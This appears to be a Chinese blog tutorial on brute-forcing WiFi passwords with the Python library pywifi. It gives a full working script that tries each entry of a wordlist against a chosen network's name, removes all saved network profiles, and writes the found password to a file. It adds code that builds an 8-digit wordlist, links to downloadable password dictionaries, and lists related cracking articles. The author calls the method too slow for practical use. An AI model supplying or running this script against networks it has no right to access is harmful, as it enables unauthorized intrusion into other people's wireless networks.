python pywifi 破解wifi密码
事先声明:
pywifi只能用来练手,因为其破解速度太慢,实际使用价值不大。
pywifi的安装
pywifi是一个专门用来破解wifi密码的第三方库,可以在PyPI上面直接搜到 pywifi网页链接
从网页上也可以看到,pywifi的安装非常简单。我使用的python是3.7.1,通过:
pip install pywifi
就可以装上去。
但是,仅仅装上pywifi,这个库还是不能用,还得再装一个叫 comtypes库
pip install comtypes
然后就一切正常了。
pywifi破解wifi原理
pywifi破解密码是一种暴力破解的方式,原理就是操纵网卡,一个一个的试密码本上的密码,直到密码正确,这时电脑也会连上这个wifi。
详细脚本
import pywifi from pywifi import const # 引入一个常量 import time def wifiConnect(wifiname,wifipassword): wifi = pywifi.PyWiFi() ifaces = wifi.interfaces()[0] ifaces.disconnect()# 断开连接 time.sleep(0.5) if ifaces.status() == const.IFACE_DISCONNECTED: profile = pywifi.Profile()# 创建WiFi连接文件 profile.ssid = wifiname# WiFi的ssid,即wifi的名称 profile.key = wifipassword# WiFi密码 profile.akm.append(const.AKM_TYPE_WPA2PSK)# WiFi的加密类型,现在一般的wifi都是wpa2psk profile.auth = const.AUTH_ALG_OPEN # 开放网卡 profile.cipher = const.CIPHER_TYPE_CCMP# 加密单元 ifaces.remove_all_network_profiles()# 删除所有的WiFi文件 tep_profile = ifaces.add_network_profile(profile)# 设定新的连接文件 ifaces.connect(tep_profile) # 连接WiFi time.sleep(1.5) if ifaces.status() == const.IFACE_CONNECTED: return True else: return False def main(): print('开始破解:') file = open('D:/wifikey/wifikey.txt','r')#打开密码本 wifi_name=input('请输入所要破解的wifi的名字(请务必注意大小写):') while True: wifipwd = file.readline() try: bool = wifiConnect(wifi_name,wifipwd) if bool: print('正确密码为:'+wifipwd) fo=open('D:/wifikey/%s.txt'%wifi_name,'w') fo.write('该wifi的密码为:') fo.write(wifipwd) fo.close() break else: print('本次尝试的密码为:%s,状态:密码错误'%wifipwd) except: continue file.close() if __name__=='__main__': main()
脚本解释
脚本就是对密码本中的密码,一个一个的尝试,如果密码正确,那么就建一个名字为wifi名字的文件,并把正确的密码记录在里面。
密码本的获取:
密码本可以选择自己建。使用的是itertools这个包。
import itertools as its words_num = "1234567890" words_letter = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" r = its.product(words_num, repeat=8)#以建8位纯数字密码本为例: fo = open("8位密码本.txt", "w") for i in r: fo.write("".join(i)) fo.write("".join("\n")) fo.close()
建密码本非常费时间,也可以直接下载已经建好的密码本
这是我从别处找到的超级密码本
里面有各种最常用密码,号称破解几率为40%:
链接: https://pan.baidu.com/s/1W1R-PtbbxdzFrSiL4XNsPw 提取码: vm9b
以及所有可能的密码构成的超级密码本:
链接: https://pan.baidu.com/s/1W0oX_O8zNZP6w4R3gPRHIA 提取码: 4mc6
wifi的密码长度为8到16位,记得先把里面长度不符合要求的密码先过滤掉。
分析
从脚本来看,尝试一个密码就需要2s,即便是把8位纯数字的密码尝试一遍,那么需要的时间t为:
t=108∗2/(60∗60∗24)=2314.8天
t= 10^{8}*2/(60*60*24)=2314.8 天
t=108∗2/(60∗60∗24)=2314.8天
这还只是8位的纯数字密码。
所以,想要通过pywifi破解密码根本就不可能。当然,可以通过多线程之类的缩短时间。
但是,如果你不幸忘记了某个wifi的密码,但是你知道他有可能是几个或者几十个密码中的一个,那么就可以通过脚本来把密码找出来。
(其实吧,直接把wifi reset或许更快。。)
真的想破解wifi密码,还是装虚拟机靠谱。
- Python破解wifi密码
- Python利用字典破解WIFI密码的方法
- Python尝试破解wifi无线密码
- python利用字典破解WIFI密码
- 看斯坦福教授如何使用Python暴力破解WIFI密码!还怕没流量?
- Python--Python尝试破解wifi无线密码
- Android中可以做的两件坏事---破解锁屏密码和获取Wifi密码
- 如何设置WiFi密码才不会被WiFi万能钥匙破解
- Mac OS X 用终端破解附近 Wifi 密码教程
- Kali下通过字典破解WiFi的WPA密码
- python 破解wp博客后台登陆密码
- Aircrack除破解WiFi密码外的趣味玩法
- python应用-----破解wifi
- 破解锁屏密码和获取Wifi密码
- 用Hashcat每秒计算1.4亿个密码,破解隔壁WIFI密码
- (python3)1076. Wifi密码 (15分)——2017-12考题
- CDLinux 系统 破解WIFI密码 U盘 的制作(网卡:博通BCM4313)
- 跑PIN码破解无线网络WIFI密码的原理分析(转)
- 如何破解wifi密码(关于无线网络安全的尝试)
- oppo(不root)手机查看万能钥匙破解的wifi密码实例